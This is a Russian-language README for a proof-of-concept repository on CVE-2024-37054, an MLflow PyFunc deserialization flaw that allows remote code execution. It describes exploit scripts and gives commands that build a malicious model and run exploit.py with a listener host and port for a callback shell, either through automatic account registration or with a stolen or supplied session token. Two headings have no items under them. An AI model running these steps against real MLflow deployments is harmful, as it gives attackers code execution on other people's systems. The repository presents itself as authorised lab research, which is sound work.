
Репозиторий proof-of-concept и исследований для CVE-2024-37054 — уязвимости небезопасной десериализации при загрузке моделей MLflow PyFunc, которая может привести к удалённому выполнению кода.
Этот репозиторий документирует исследование CVE-2024-37054 — проблемы небезопасной десериализации, затрагивающей обработку моделей MLflow PyFunc.
В уязвимых версиях MLflow загрузка недоверенной модели PyFunc может привести к тому, что логика десериализации Python обработает сериализованный объект, содержащий поведение, контролируемое злоумышленником. При загрузке недоверенного артефакта код может выполниться с правами пользователя или сервиса, выполняющего операцию загрузки модели.
Уязвимые версии, указанные в публичных рекомендациях, включают:
MLflow 0.9.0 through 2.14.1
Основной риск заключается не просто в «загрузке модели». Опасность возникает, когда приложение, аналитик, воркер или ML-платформа загружает недоверенный сериализованный артефакт модели.
Потенциальное воздействие включает:
build_model.py
Создаёт контролируемый тестовый артефакт модели для использования в частной авторизованной лабораторной среде.
exploit.py
Приватная автоматизация proof-of-concept, используемая только для проверки пути эксплуатации уязвимости в авторизованной тренировочной среде. Этот репозиторий не содержит реальных целей, учётных данных, сессионных токенов, файлов конфигурации VPN или деструктивных полезных нагрузок.
Запускайте этот proof of concept только в авторизованной лабораторной среде.
Создайте контролируемый артефакт модели:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Если у вас ещё нет аутентифицированной сессии, используйте режим автоматической регистрации:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Этот режим создаёт временную лабораторную учётную запись, аутентифицируется в приложении и продолжает работу с процессом регистрации и проверки модели.
Если у вас уже есть действительная авторизованная сессия, передайте её напрямую:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Замените:
<YOUR_IP> на IP-адрес, доступный с авторизованной лабораторной цели.4444 на порт прослушивания, используемый в вашей лаборатории.<SESSION_TOKEN> на значение вашей активной авторизованной сессии.Никогда не публикуйте реальные сессионные токены, учётные данные, файлы VPN, адреса целей или детали обратных вызовов.
Организациям, использующим MLflow, следует рассматривать артефакты моделей как недоверенный ввод, если их происхождение и целостность не проверены.
Рекомендуемые меры защиты:
Этот проект предназначен только для защитных исследований, обучения и авторизованного тестирования безопасности. Рабочий процесс proof-of-concept оценивался исключительно в контролируемой тренировочной среде. Не тестируйте эту уязвимость против систем, учётных записей, сервисов или сетей без явного письменного разрешения.